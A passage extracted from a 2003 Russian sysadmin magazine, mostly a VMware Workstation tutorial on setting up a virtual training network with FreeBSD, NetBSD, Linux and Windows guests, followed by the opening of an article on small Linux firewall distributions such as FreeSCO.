Желательно также взять фирменную документацию потеории функционирования виртуальных машин и справоч-ник часто задаваемых вопросов о гостевых системах вформате pdf http://www.vmware.com/support/ws4/doc/. Ка-чество и подробность изложения справочного материалавыше всяких похвал.

Запускаем инсталлятор на выполнение и несколько разнажимаем кнопку Yes. Затем принимаем лицензионноесоглашение.

Определяем целевую папку, куда нужно устанавливатьфайлы VMWare Workstation.

Page 16: 010 Системный Администратор 09 2003

14

администрирование

После этого, следуя предупреждению, отключаем «Ав-тозапуск» для устройства CD-ROM, потому что это можетвызывать интересные эффекты в гостевых системах.Представьте себе одновременную попытку выполнить про-грамму автозапуска с только что вставленного CD-ROMвнутри основной Windows и всех работающих на данныймомент версий гостевых Windows-систем. Ошибки, полу-чившиеся в результате коллизий, вызванных борьбой задоступ к CD-ROM, будут весьма странными.

Отказываемся от поиска файлов, оставшихся от пре-дыдущих версий VMWare Workstation, так как на этой ма-шине она устанавливается впервые. Если бы у нас та-кие файлы имелись, можно было бы конвертировать ихв новый формат и использовать со свежеустановленнойверсией.

Принимаем поздравления по факту завершения уста-новки. И потихоньку, нажав кнопку «Finish», переходим кследующему этапу.

Вводим серийный номер для Windows, взятый из пись-ма. В качестве имени пользователя и названия компанииможно писать все, что придет в голову.

В соответствии с требованием программы инсталля-ции перезагружаем Windows. После загрузки в первыйраз запускаем VMWare Workstation. Итак, можно себя по-здравить: процедура установки успешно завершена.

Настало время усвоить еще немного теории. Посмот-рим, как работает и из каких компонентов состоит подси-стема, отвечающая за работу с сетями внутри VMWareWorkstation.

Виртуальный коммутатор (virtual switch) является ба-зовой конструкцией, на основе которой мы будем строитьнаши сети, и предназначен для тех же целей, что и обыч-ный сетевой коммутатор, постоянно встречающийся нам вреальном мире. С его помощью можно соединять междусобой все остальные сетевые объекты. Ответственностьза автоматическое создание коммутаторов, по мере тогокак в них возникает надобность, возложена на VMWareWorkstation, поэтому нам о них беспокоиться не нужно. Сто-ит помнить, что коммутаторов может быть не более девятиштук, а значит, и сетей создать на их основе можно точнотакое же количество. Каждая сеть, созданная внутри вир-туальной машины, получает стандартное имя VMnet и но-мер, указывающий, на основе какого коммутатора она ра-ботает. Таким образом, у нас возникает набор сетей с на-званиями от VMnet1 до VMnet9. Количество сетевых адап-теров, которые можно подключить к любому из вышепере-численных коммутаторов, неограничено.

Мост (bridge) – устройство, позволяющее прозрачноприсоединить сетевой интерфейс любой виртуальной ма-шины к локальной сети, в которой работает реальная ма-шина. Виртуальный адаптер получает адрес из простран-ства реальной сети, а для передачи и приема пакетов ис-пользуется реальный сетевой адаптер. Таким образом,всем машинам, находящимся в реальной сети, будет ка-заться, что у реального компьютера появился еще одинсетевой интерфейс.

Виртуальный сетевой адаптер хоста (host virtualadapter) создается для того, чтобы соединить гостевую иосновную операционные системы. Для этой цели на реаль-ной машине организуется частная сеть класса C. В терми-нологии VMWare Workstation подобные сети называются(host-only network). В такую сеть входит виртуальный адап-тер основной системы. Виртуальный адаптер основной си-стемы нужно создать вручную через интерфейс управле-ния сетями. И только затем можно будет добавлять в целе-вую сеть адаптеры гостевых систем. Бояться утечки паке-тов и проблем с безопасностью при использовании подоб-ных сетевых адаптеров не стоит из-за того, что они не при-соединены ни к одной из внешних реальных сетей.

Устройство NAT (Network Address Translation device) –присоединяет виртуальный адаптер к существующему ре-альному. Но в отличие от случая, в котором используетсямост, никаких новых интерфейсов в реальной сети не по-

Page 17: 010 Системный Администратор 09 2003

15№9(10), сентябрь 2003

администрирование

является. Программное обеспечение NAT перехватываетвсе проходящие пакеты и изменяет их так, чтобы систе-мы, находящиеся в реальной сети, считали, что общают-ся с реальным адаптером основной системы. При каж-дом запросе, исходящем от виртуального адаптера, NATзаписывает запрос в специальную таблицу преобразова-ний и открывает соединение с целевой системой, исполь-зуя определенный диапазон портов реального интерфей-са, и через него отправляет пакет. По приходу ответа,опираясь на номер порта, NAT преобразует пакет к виду,приемлемому для виртуальной сети, и отдает его вирту-альному адаптеру, по запросу которого создавалось со-единение. Таким образом, появляется возможность од-новременной работы нескольких виртуальных адаптеровчерез один реальный сетевой адрес.

DHCP-сервер (Dynamic host configuration protocolserver) – виртуальный сервер динамического конфигури-рования узлов позволяет раздавать сетевые и админист-ративные параметры централизованно для сетей на ос-нове host-only и NAT.

Настал момент, когда нужно снова прекратить грызтьгранит науки и опять начать практическую деятельностьпо настройке макета наших виртуальных сетей.

Под Windows для выполнения этой задачи служит про-грамма управления сетями «Virtual Network Editor». За-пускаем ее, последовательно пройдя через меню Пуск →Программы → VMWare Workstation → Manage virtualnetworks. Того же результата можно добиться, если выб-рать в работающей VMWare Workstation пункты меню Edit→ Virtual Network Settings.

На первом экране видим суммарную статистику повиртуальным сетям, созданным с настройками по умол-чанию во время инсталляции VMWare Workstation. Итак,судя по картинке, сеть VMnet0 зарезервирована для уст-ройств типа мост. Таким образом, VMnet1 – это (host-only)сеть 192.168.149.0 из адресного пространства, выделен-ного для частных сетей. Ну и VMnet8 сеть 192.168.32.0соответственно служит для устройств NAT.

На следующем экране показан диалог для добавле-ния устройств типа мост. В нашем примере использоватьэту возможность мы не будем. Поэтому переходим к сле-дующей странице.

Здесь мы видим список наших сетей. Надпись «Notbridged» не настроена и на данный момент не может бытьиспользована.

Далее идет список виртуальных сетевых адаптеров,функционирующих в нашей системе. Судя по рисунку,активированы адаптеры для сетей VMnet1 и VMnet8.

Следующий снимок показывает интерфейс, позволя-ющий управлять виртуальным DHCP-сервером. Как мывидим, он обслуживает сети 192.168.149.0 (VMnet1) и192.168.32.0 VMnet8.

Page 18: 010 Системный Администратор 09 2003

16

администрирование

Самый последний из показанных экранов демонстри-рует возможности управления сервисом NAT, активиро-ванным для сети VMnet8.

Для создания виртуальных сетей host-only и NAT исполь-зуются сети класса C из адресного пространства, выде-ленного для частных подсетей. Адреса таких сетей начи-наются с 192.168.0.0 и продолжаются по 192.168.255.255включительно. Выше по тексту мы обсуждали примене-ние виртуального DHCP-сервера для раздачи адресов се-тевым интерфейсам наших гостевых систем. Давайте по-смотрим, как это работает, и в качестве примера будемиспользовать схему адресации для вымышленной сети192.168.13.0.

Разобравшись с теорией распределения адресов в вир-туальных сетях, давайте посмотрим, как выглядит с точ-ки зрения VMWare Workstation создаваемый нами макетсети предприятия.

На первый взгляд схема сетевых взаимодействий выг-лядит устрашающе сложно, но на самом деле это не так,и через несколько минут вы будете с легкостью ориенти-роваться в топологии наших сетей. Итак, на рисунке мывидим все перечисленные ранее хосты и их интерфейсы.Присмотревшись внимательно, легко разобраться в со-ответствии между IP-адресами и интерфейсами. Далееизображены три виртуальных коммутатора для сетей host-only VMnet1 (192.168.40.0), VMnet2 (192.168.80.0), VMnet3(192.168.120.0). Соответственно для работы с устройствомNAT (192.168.32.2) предназначена сеть VMnet8, для кото-рой по умолчанию используется адресное пространство192.168.32.0.

Также обратите внимание на тот факт, что виртуаль-ные DHCP-сервера работают только в сетях VMnet2 иVMnet8. Исходя из того факта, что в сетях VMnet1 и VMnet3используются статические IP-адреса, DHCP-сервера этихсетей отключены за ненадобностью.

Снова открываем программу управления нашими вир-туальными сетями. Первым делом нужно изменить наст-ройки сети VMnet1. По умолчанию она привязана к ад-ресному пространству 192.168.149.0. По моему мнению,такую комбинацию цифр неудобно запоминать, поэтомумы исправим адрес VMnet1 на 192.168.40.0. Для этого вы-бираем вкладку «Host Virtual Network Mapping» и нажима-ем кнопку «…» напротив надписи VMnet1.

Òàáëèöà 1. Ðàñïðåäåëåíèå àäðåñîâ â ñåòÿõ òèïà host-only

Òàáëèöà 2. Ðàñïðåäåëåíèå àäðåñîâ â ñåòÿõ, èñïîëüçóþùèõ NAT

Page 19: 010 Системный Администратор 09 2003

17№9(10), сентябрь 2003

администрирование

После этого активизируем вновь появившееся подме-ню «Subnet».

Вносим данные о нашей сети 192.168.40.0, по умолча-нию используется сетевая маска 255.255.255.0. Нажимаемкнопку «OK» и вновь возвращаемся к интерфейсу управле-ния сетями. Стоит крепко-накрепко запомнить, что послевнесения любых изменений необходимо каждый раз нажи-мать кнопку «Применить», иначе ничего не произойдет.

Теперь переходим на вкладку DHCP и, выбрав запись,указывающую что для сети VMnet1 включена раздача IP-ад-ресов с помощью DHCP, нажимаем кнопку «Remove». И, каквсегда, для завершения щелкнем по кнопке «Применить».

После того как мы разобрались с сетью VMnet1, оста-лось создать еще две сети VMnet2 и VMnet3. Снова воз-вращаемся к вкладке «Host Virtual Network Mapping» иопять жмем кнопку «…» напротив надписи VMnet2. Каквсегда, выбираем пункт меню «Subnet» и в появившемсядиалоговом окне вписываем 192.168.80.0. Как обычно, незабываем уделить внимание кнопкам «OK» и «Приме-нить». Пока что наша сеть не активирована, потому что восновной системе нет виртуального адаптера, отвечаю-щего за нее. Поэтому переходим на вкладку «Host VirtualAdapters» и жмем кнопку «Add new adapter».

Проверяем, чтобы в выпадающем списке была выб-рана сеть VMnet2, и снова жмем «OK».

Не стоит расслабляться и считать работу выполнен-ной после того, как в списке адаптеров появится над-пись «New device». На самом деле новый адаптер ещене создан.

Как всегда, используем по прямому назначению кноп-ку «Применить», после этого ждем, пока система выйдетиз задумчивого состояния и обновит список адаптеров.На экране должно появиться что-то похожее на следую-щую картинку.

По умолчанию после того, как создан новый вирту-альный адаптер, внутри только что налаженной сети на-чинает работать DHCP-сервер. Вы можете в этом убе-диться, выбрав вкладку «Host Virtual Network Mapping» инажав кнопку «…». Теперь в выпадающем меню появил-ся добавочный пункт «DHCP». Если выбрать его, то вответ получим следующий диалог, позволяющий менятьнастройки DHCP-сервера. Кстати, точно такого же эф-фекта можно добиться, если нажать на вкладку DHCPглавного интерфейса, выбрать нужную сеть и использо-вать кнопку «Properties». Все вышеописанные манипу-ляции производились с целью показать, как легко и про-сто можно менять опции DHCP, но так как в данном слу-чае нас устраивают настройки по умолчанию, то изме-нять мы ничего не станем.

В документации, поставляющейся вместе с VMWareWorkstation, говорится, что сети VMnet рекомендуетсястроить на основе частных сетей класса C. Нигде не ска-зано, что создавать сети других классов запрещено, ипоэтому я решил проверить, можно ли получить вирту-альные сети класса B и С. В процессе создания сети всеидет нормально, и никакие ошибки на экране не появля-ются. VMWare Workstation ни на что не жалуется, но ниодна из свежесозданных сетей не работает. Повторивсвой неудачный эксперимент несколько раз, с сожале-нием констатирую, что нам придется работать только ссетями класса C.

Покончив с лирическими отступлениями, переходим ксозданию последней из необходимых нам сетей. Думаю,читатель уже достаточно поднаторел в подобном ремес-ле и сможет самостоятельно создать сеть VMnet3 с ад-ресным пространством 192.168.120.0. По окончании про-цесса желательно не забыть отключить DHCP для этойсети. Впрочем, если вы этого не сделаете, то ничегострашного не произойдет, но дизайн сети будет уже нетаким опрятным.

В вашей голове может возникнуть вопрос: «Если всеи так работает, зачем делать лишние движения?». Я счи-таю, что все эти процедуры желательно выполнять, пото-му что такой подход упрощает понимание механизмовдействия наших сетей. Посмотреть список виртуальныхадаптеров, появившихся внутри основной системы, мож-но, пройдя через меню Пуск → Настройка → Сеть и уда-ленный доступ к сети.

Page 20: 010 Системный Администратор 09 2003

18

администрирование

Ради удовлетворения собственного любопытства мо-жете посмотреть опции любых адаптеров.

Мы не будем трогать настройки сети VMnet8, установ-ленные по умолчанию, так как нас они вполне устраива-ют. Вот теперь самое время приступить к созданию вир-туальных машин.

Итак, запускаем VMWare Workstation и видим передсобой что-то вроде этой картинки.

Первым делом мы создадим машину с Windows 98 SE.Вначале была опробована обычная версия Windows 98,которая проинсталлировалась, как положено, с первогораза. Но ни у меня, ни у кого-либо из знакомых лицен-зий на неё не было. Поэтому пришлось снести ее и ис-пользовать OEM-версию Windows 98, поставлявшуюсяс рабочими станциями для фирмы, в которой я сейчасработаю. Кстати, стоит отметить, что пришлось перепро-бовать несколько версий системы, поставлявшихся сразными партиями оборудования. Из четырех вариантовтри подвисали на разных этапах установки. Видимо, делов том, что они рассчитаны на довольно-таки специфи-ческое оборудование. После того как был найден дист-рибутив, нормально работающий под виртуальной ма-шиной, началась установка.

Итак, первым делом выбираем меню File → New →

New Virtual Machine.В ответ получаем диалог помощника, который бу-

дет сопровождать нас в процессе создания новой вир-туальной машины.

Нажав кнопку «Next», переходим к следующему шагу.Теперь нужно выбрать, какой тип конфигурирования мыбудем использовать. По умолчанию используется опция«Typical». Если выбрать ее, то VMWare Workstation без на-шего участия решит, какой набор устройств стоит вклю-чить в создаваемую виртуальную машину. Мне такой под-ход не нравится, потому что я предпочитаю самостоятель-но выбирать необходимые компоненты. А значит, нам нуж-но использовать опцию «Custom».

Пришел черед выбрать операционную систему. Я ду-маю, вы уже догадались, что нам нужна Windows 98.

Далее определяем имя виртуальной машины и путь кдиректории, где будут находиться все ее файлы.

Page 21: 010 Системный Администратор 09 2003

19№9(10), сентябрь 2003

администрирование

На следующем шаге нужно решить, сколько оператив-ной памяти будет доступно создаваемой виртуальноймашине. Судя по картинке, основная система располага-ет 256 Мб оперативной памяти, из которых 192 Мб отданодля нужд VMWare Workstation и работающих внутри неевиртуальных машин. Автоматический помощник предла-гает по умолчанию выделить вновь создаваемой системе64 Мб, но я думаю, что и 32 Мб хватит с головой. Если ужбыть совсем жестоким, то можно поставить 16 Мб, но тогдапоявится некоторое некритичное, но все же неприятноезамедление работы этой виртуальной машины. Стоитобратить внимание, что размер выделяемой памяти дол-жен быть обязательно кратен 4 Мб.

В ответ на наши действия, направленные на эконо-мию ресурсов, система предупреждает нас о том, чтовыбранный размер оперативной памяти существенноменьше рекомендуемого, и это может привести к сни-жению быстродействия. Мы с вами и так это знаем иготовы пойти на такие маленькие жертвы. Поэтому не-дрогнувшей рукой жмем «Yes».

Далее необходимо выбрать, к какому типу сетей бу-дет относиться сетевой интерфейс создаваемой гостевойсистемы. По умолчанию предлагается интерфейс мост«Bridged Networking», но нас это не устраивает, так какмашина должна находиться в сети VMnet3. Если мне неизменяет память, то эта сеть относится к классу host-only,поэтому выбор очевиден.

Наступило время решить, каким образом будут хранить-ся данные, записываемые на жесткий диск виртуальноймашины. Опция «Create New Virtual Disk» приказывает со-здать новый файл-хранилище для виртуального диска. Заней идет «Use an existing Virtual Disk», позволяющая ис-пользовать файл, созданный ранее. Например, такой файлможет остаться от другой виртуальной машины, которуювы решили переустановить. Последняя опция «Use aphysical disk» дает нам возможность использовать в каче-стве виртуального диска какой-либо раздел жесткого дис-ка реальной машины. Эта опция довольно опасна, потомучто позволяет по неосторожности легко уничтожить дан-ные в любом разделе реального жесткого диска. Выбира-ем первую опцию и, как всегда, жмем «Далее».

Следующий экран позволяет определить размер в Гбжесткого диска, выдаваемого гостевой системе. Я думаю,что 0,5 Гб, или, проще говоря, 500 Мб, будет достаточно.Следующая опция «Allocate all disk space now» позволяетвыделить все необходимое место сразу. Таким образом,на жестком диске основной системы у нас появится файлразмером 500 Мб, заполненный нолями. Такой способ ра-боты ускоряет выполнение операций записи на виртуаль-ный диск из гостевой системы, но в то же время уменьша-ет свободное место реального жесткого диска. В противо-вес такому подходу можно выделять пространство внутривиртуального диска динамически, в ответ на запросы гос-тевой системы. Это будет слегка медленнее, зато вирту-альная машина будет занимать гораздо меньше места на

Page 22: 010 Системный Администратор 09 2003

20

администрирование

жестком диске реальной системы. Я решаю использоватьсхему с динамическим распределением места. Последняяиз опций, доступных на этом экране, «Split disk into 2 GBfiles», позволяет разбить большой виртуальный диск нафайлы размером по 2 Гб. Таким образом, виртуальный дискразмером в 4,5 Гб на жестком диске реальной системыбудет представлен двумя файлами по 2 Гб и одним фай-лом с размером 0,5 Гб. Эта возможность нужна, если фай-ловая система основной операционки не поддерживаетфайлы размером более 2 Гб. Эта опция нас также не инте-ресует, поэтому оставляем ее нетронутой.

Далее нам предлагают придумать имя для файла, в ко-тором будет храниться файловая система виртуальноймашины. Вариант по умолчанию отлично подходит для этихцелей. Поэтому жмем кнопку «Готово», завершая процесспредварительной настройки виртуальной машины.

Интерфейс VMWare Workstation слегка изменился.Кнопки управления стали активны, а правая и централь-ная части экрана стали отображать данные о только чтосозданной машине.

Для начала нам нужно настроить сетевой адаптер си-стемы так, чтобы он находился в сети VMnet3. Для этогоиспользуем меню Edit → Virtual Machine Settings.

Выбираем пиктограмму сетевой карты и получаемвозможность редактировать ее параметры. Из ниспада-ющего списка выбираем VMnet3 и снова жмем «OK».

Немного передохнув, с воодушевлением приступаемк установке операционной системы.

Для того, чтобы подать электропитание на нашу вир-туальную машину, жмем клавишу с зеленой стрелкой исмотрим, как происходит включение.

Надпись внизу экрана подсказывает нам о необходимос-ти нажать клавишу «F2», чтобы войти в интерфейс управле-ния BIOS. С радостью выполняем это действие и попадаемвнутрь самого что ни на есть настоящего BIOS. Инсталляциюмы начнем с заранее припасенной загрузочной дискеты.

Теперь нужно перейти в раздел «Boot» и с помощью кла-виш «+» и «-» выставить список загрузочных устройств так,как изображено на рисунке. После этого, воспользовавшисьменю «Exit», выходим с сохранением внесенных изменений.Гостевая система снова начнет перезагрузку. После того какзагрузка с дискеты успешно завершилась, с помощью про-граммы fdisk создаем основной раздел и делаем его актив-

Page 23: 010 Системный Администратор 09 2003

21№9(10), сентябрь 2003

администрирование

ным. Для того, чтобы изменения вступили в силу, снова пе-резагружаемся. Для этого можно использовать клавишу,находящуюся на панели инструментов VMWare Workstationи состоящую из двух разноцветных стрелок, обвивающихсядруг вокруг друга. После загрузки командой format c: разме-чаем единственный раздел жесткого диска. Стоит отметить,что загрузочная дискета, которой я пользуюсь, с помощьюдрайвера mscdex самостоятельно подключает к системе CD-ROM с дистрибутивом. По завершении процесса переходимна диск D: и запускаем оттуда инсталляцию системы. Я ду-маю, что каждый из вас много раз выполнял последователь-ность действий, необходимых для успешной инсталляцииWindows, поэтому опускаю рутинные подробности. Пример-но через 20 минут происходит первый запуск Windows. Навашей машине этот временной промежуток может быть бо-лее или менее продолжительным. Все зависит от скоростиреального жесткого диска. В процессе первой загрузкиWindows обнаружит следующие устройства: звуковую кар-ту PCI Multimedia Audio Device, сетевой адаптер AMD PC NetFamily Ethernet (PCI-ISA) и стандартный видеоадаптер PCIVGA. Для них будут автоматически подобраны наиболее под-ходящие драйвера. Конечно, изображение на экране остав-ляет желать лучшего, но нас это на данный момент не осо-бенно интересует. Сейчас для нас самая главная задача –настроить сетевую подсистему Windows. Открываем на-стройки сетевой карты Windows и вносим туда вот такиеданные: IP-адрес 192.168.120.15 и маску сети 255.255.255.0:

В качестве шлюза по умолчанию устанавливаем адрес192.168.120.2. После перезагрузки нужно будет проверить,правильно ли применились сетевые параметры. Если всепроизошло так, как мы хотели, то можно считать настрой-ку этой машины оконченной. Для того, чтобы она не меша-ла нам работать, ее можно выключить. Если выключатьжелания нет, то можно применить более элегантный при-ем. С помощью меню Power → Suspend или кнопки, состо-ящей из двух желтых линий, можно перевести виртуаль-ную машину в состояние глубокого сна. В таком режимеона не будет использовать системные ресурсы. Все про-граммы, выполнявшиеся внутри машины, будут останов-лены и заморожены, их выполнение продолжится с тогоже места, где они были остановлены, только после того,как вы воспользуетесь меню Power → Resume или клави-шей, включающей питание этой виртуальной машины.

Завершив настройку Windows 98, переходим к настрой-ке FreeBSD 4.7. Большинство действий, производимыхнами, будет схоже с предыдущим примером. Будем заос-трять внимание только на отличиях. Итак, я создал вирту-альную машину с жестким диском размером в 1 Гб диско-вого пространства и 32 Мб оперативной памяти, если воз-никнет надобность и желание что-либо менять, можетеотдать ей гораздо меньше ресурсов. На быстродействиеэтой системы подобные изменения никак не повлияют.Стоит также отметить, что для FreeBSD лучше выделитьвсе место сразу в файле виртуального диска. Как этоделать, мы обсуждали во время установки Windows. Еслиэтого не сделать, то посреди инсталляции вас может под-жидать неприятность.

Видимо, в момент установки программного обеспече-ния обмен с винчестером слишком интенсивен, и диско-вая подсистема Windows не выдерживает такой нагруз-ки. Кстати, под Linux такой ошибки я не встречал ни разу.

Перед запуском инсталляции в машину нужно доба-вить еще две дополнительные сетевые карты. Как, навер-ное, догадались самые любознательные читатели, мы сно-ва воспользуемся меню Edit → Virtual Machine Settings.Во-первых, убеждаемся, что первая сетевая карта привя-зана к сети Vmnet1. После этого нажимаем кнопку «Add»,затем в новом окне жмем «Далее». В следующем диало-говом окне выбираем строку Ethernet Adapter и сноважмем «Далее».

Стоит обязательно настроить все так, чтобы вновьдобавляемая карта была предназначена для сетиVMnet2. Жмем на кнопку «Готово». Как видите, проце-дура добавления нового оборудования в систему доволь-но проста. Самостоятельно добавляем еще одну карту спривязкой к VMnet3. Стоит отметить, что внутри VMWareWorkstation стоит ограничение на количество сетевыхкарт, которые можно добавить в одну машину. Ни однавиртуальная машина не может иметь более трех сете-

Page 24: 010 Системный Администратор 09 2003

22

администрирование

вых карт. Завершив предварительные приготовления,запускаем инсталляцию. Настраиваем BIOS так, чтобызагрузка шла с CD-ROM, потому что дистрибутив систе-мы у нас находится именно там. Я думаю, разметить диски инсталляцию FreeBSD вы сможете самостоятельно.После того как система загрузилась первый раз, намнужно настроить сетевую подсистему. Сетевые интер-фейсы, которые мы добавили в систему, называютсяlnc0, lnc1 и lnc2 соответственно. Для того чтобы они за-работали как положено, настраиваем систему с помо-щью программы /stand/sysinstall или вручную вносимследующие данные в файл rc.conf:

Таким образом, мы разрешили прохождение пакетовмежду всеми тремя интерфейсами и назначили шлюзомпо умолчанию машину NetBSD. Перезагружаем системудля того, чтобы настройки вступили в силу.

Как только перезагрузка завершится, можно размо-розить машину Windows или запустить ее, если она у васеще не запущена. Как только Windows загрузится, выби-раем меню Пуск → Программы → Сеанс MS-DOS, в по-явившемся окне командной оболочки пробуем выполнятьпо очереди нижеследующие команды.

Все команды должны показать, что ICMP-пакеты до-стигли цели и благополучно вернулись назад. Итак, пе-реходим к следующей машине, которая будет выступатьу нас в роли веб-сервера. На нее нам предстоит устано-вить Linux Mandrake. Как и в случае FreeBSD, установкау нас происходит с CD-ROM. Этой машине мы выделяем1 Гб пространства жесткого диска и 64 Мб оперативнойпамяти. Сетевой адаптер у нас один, и он принадлежитк сети VMnet1, я надеюсь, вы сможете сделать так, что-бы это соответствовало истине, самостоятельно. За счетиспользования графической оболочки процесс инстал-ляции проходит совершенно безболезненно. Главное –не забыть заказать инсталляцию веб-сервера apache.Под конец установки дать системе IP-адрес 192.168.40.32и назначить шлюзом по умолчанию IP 192.168.40.2, при-надлежащий машине FreeBSD. В остальном все выгля-дит довольно прозрачно.

Следующим нашим пациентом становится машина наоснове OEM версии Windows 2000 Professional. Как выуже догадались, ничего нетипичного здесь нет. Инстал-ляция выполняется с загрузочного CD-ROM. Для работыэтой машины выделен 1 Гб жесткого диска и 64 Мб опе-ративной памяти. Изюминкой, ради которой была затея-на возня с этой машиной, является работа с DHCP. Послетого как инсталляция Windows 2000 будет окончена, нуж-но настроить свойства протокола TCP/IP так, как показа-но на рисунке.

Таким образом, мы разрешаем этой системе получатьадрес от DHCP-сервера. И результат не заставит себяждать. Находясь в командном интерпретаторе, выполня-ем команду ipconfig /all.

Должны получиться именно такие сведения о парамет-рах сетевого адаптера. С помощью команды ping прове-ряем доступность всех работающих в нашей сети хостов.

Теперь самое время перейти к нашей последней и, воз-можно, самой интересной инсталляции. Сейчас мы созда-дим машину на основе NetBSD, которая будет служить длянас шлюзом в Интернет. Интересные моменты начинают-ся практически сразу после начала создания виртуальноймашины. NetBSD нет в списке официально поддерживае-мых VMWare Workstation систем, поэтому во время выборатипа системы мы будем использовать опцию «Other». Вы-деляем 300 Мб свободного пространства на жестком дис-ке и 32 Мб оперативной памяти. Для такой маленькой сис-темы, как NetBSD, этого будет вполне достаточно. Как вся-кому порядочному шлюзу между сетями, даем две сете-вые карты: первая из них смотрит в VMNet1 и имеет адрес192.168.40.57, а вторая получает адрес 192.168.32.128 инаправлена в сторону VMNet8. Также в этой сети по адре-су 192.168.32.2 находится устройство NAT. Я надеюсь, высможете самостоятельно добавить устройства этих сете-

gateway_enable-"YES"defaultrouter="192.168.40.57"

ifconfig_lnc0="inet 192.168.40.2 netmask 255.255.225.0"ifconfig_lnc1="inet 192.168.80.2 netmask 255.255.225.0"ifconfig_lnc2="inet 192.168.120.2 netmask 255.255.225.0"

ping 192.168.120.2ping 192.168.80.2ping 192.168.40.2

Page 25: 010 Системный Администратор 09 2003

23№9(10), сентябрь 2003

администрирование

вых карт в виртуальную машину. Инсталляцию мы будемпроводить не с CD-ROM, а с его iso-образа. Согласитесь,довольно полезная возможность, если вы скачали образдиска из Интернета, а под рукой нет пишущего CD-ROM.Итак, чтобы пристыковать образ как диск CD-ROM, нужносделать следующее. Настраиваем в BIOS загрузку с CD-ROM, затем в списке оборудования выбираем этот самыйCD-ROM. Изменяем его свойства так, чтобы стала актив-на опция «Use ISO Image», затем с помощью кнопки«Browse» выбираем необходимый файл образа.

Поскольку для связи с внешним миром NetBSD будетиспользовать NAT, нужно немного подправить настройкисети VMnet8. Как обычно, для этих целей используем ре-дактор сетей VMWare Workstation. Выбираем вкладку NAT,убеждаемся, что выбрана именно VMnet8, и жмем клави-шу «Edit», в ответ открывается диалог настроек NAT. Намнужно идти глубже, поэтому жмем на клавишу «Portforwarding». Появляется еще одно окно, разделенное надва окна поменьше, верхняя часть отвечает за проброс

внутрь сети входящих TCP-пакетов, а нижняя соответ-ственно UDP. Нам нужно настроить TCP, поэтому исполь-зуем кнопку «Add» верхнего окна.

Настраиваем проброс так, чтобы все входящие пакеты спорта 80 попадали на порт 80 веб-сервера. Несколько разжмем кнопку «OK» и затем один раз кнопку «Применить».

Вот теперь можно начинать установку NetBSD. Обо-лочка инсталлятора очень похожа на оболочку FreeBSD,поэтому, я думаю, проблем с ней возникнуть не должно.Главное – не забыть настроить сетевую карту, смотря-щую в сеть VMnet1 на адрес 192.168.40.57. Вторая картабудет получать параметры своих настроек от сервераDHCP, работающего в сети VMnet8. Кстати, стоит отме-тить, что шлюзом по умолчанию для второй карты будетадрес устройства NAT.

По окончании установки и настройки NetBSD все нашиподопытные сети смогут ходить в Интернет, а такжепользоваться услугами внутреннего веб-сервера. А кли-енты из внешних сетей будут видеть веб-сервер на 80-мпорту сетевого адаптера нашей реальной машины.

В результате при заходе на веб-сервер из любой сетидолжна получаться вот такая картинка.

В данной статье намеренно не описываются никакиемеры по обеспечению безопасности вновь созданных се-тей, потому что эта тема выходит далеко за рамки пове-ствования. Не стоит пытаться объять необъятное.

Во второй части этой статьи мы поговорим об инстал-ляции VMWare Workstation под Linux. И о том, как сделатьточно такой же макет тренировочной сети под вышеназ-ванной операционной системой.

Page 26: 010 Системный Администратор 09 2003

24

администрирование

Маленький Linuxв качестве firewall

СЕРГЕЙ ЯРЕМЧУК

Page 27: 010 Системный Администратор 09 2003

25№9(10), сентябрь 2003

администрирование

Со временем устаревает любая техника, в том числе ононе считается и с компьютерами. Выпущенные буквальногод назад считаются уже устаревшими. А что делать скомпьютерами, которым уже «далеко за»? Выбрасывать-то жалко. Иногда их фирма продает по дешевке, компен-сируя покупку новых машин. Но на их плечи можно пере-ложить маленькие задачи, разгрузив таким образом бо-лее мощные системы. Так, их можно запросто настроитькак роутер и/или firewall, использовать в качестве бездис-ковых рабочих станций и Х-терминалов, отдельныхпользовательских машин и даже возложить на них мони-торинг, аудит и детектирование вторжения в компьютер-ную сеть. Сегодня предлагаю познакомиться с дистрибу-тивами, которые позволяют настроить совместный дос-туп в Интернет, среди дополнительных возможностей не-которые имеют firewall, NAT, кеширующий DNS-сервер,сервер DHCP, ftp- и www-серверы. В более продвинутыхрешениях встречается даже возможность создания вир-туальных частных сетей VPN. Для большинства из рас-сматриваемых дистрибутивов наличие жесткого дискатоже необязательно. Некоторые помещаются на одну дис-кету, обеспечивая только необходимый минимум, болееоснащенные варианты требуют уже наличия СD-ROM длясвоего запуска или установки.

Начнем, наверное, с любимчика. Это был один из пер-вых дистрибутивов подобного направления, с которыммне пришлось столкнуться и который показал всю живу-

честь такой идеи, и что самое интересное, на первона-чальное знакомство и настройку ушло всего минут двад-цать, так что такой вариант может быть использован вэкстренных случаях, когда вышел из строя основной мар-шрутизатор. Итак, FreeSCO http://www.freesco.org (назва-ние пошло от Free ciSCO router). При таких маленьких раз-мерах, всего одна дискета, этот дистрибутив умеет до-вольно многое: обеспечивает одновременную поддержкудо 3 ethernet/arcnet/token_ring/arlan сетевых карточек и до2 модемов (большинство нижеописываемых поддержива-ют только два сетевых устройства), режим моста,firewalling (для защиты внутренней сети от несанкциони-рованного доступа из Интернета или ограничения досту-па в Интернет для внутренних пользователей), NAT (транс-ляция сетевого адреса для коллективного доступа в сеть),сервер DNS, DHCP-сервер для динамического выделенияадресов, HTTP-сервер (для удаленного администрирова-ния через веб-интерфейс – рис.1, 1а), telnet-сервер (дляудаленного управления системой – рис.1б), print-cервери TIME-cервер (в комплекте есть и графический клиентдля Windows). Системные требования также невысоки:процессор от i386, 6 Мб ОЗУ (рекомендовано 16 Mб). Под-держиваются большинство сетевых карт (полный списоксовместимых с дистрибутивом смотрите на сайте; соот-ветствующий драйвер, если что-то не получается, простоположите в a:\router\drv). Модемы в принципе любые, кро-ме, наверное, win-модемов. FreeSCO очень просто уста-

Ðèñóíîê 1.

Page 28: 010 Системный Администратор 09 2003

26

администрирование

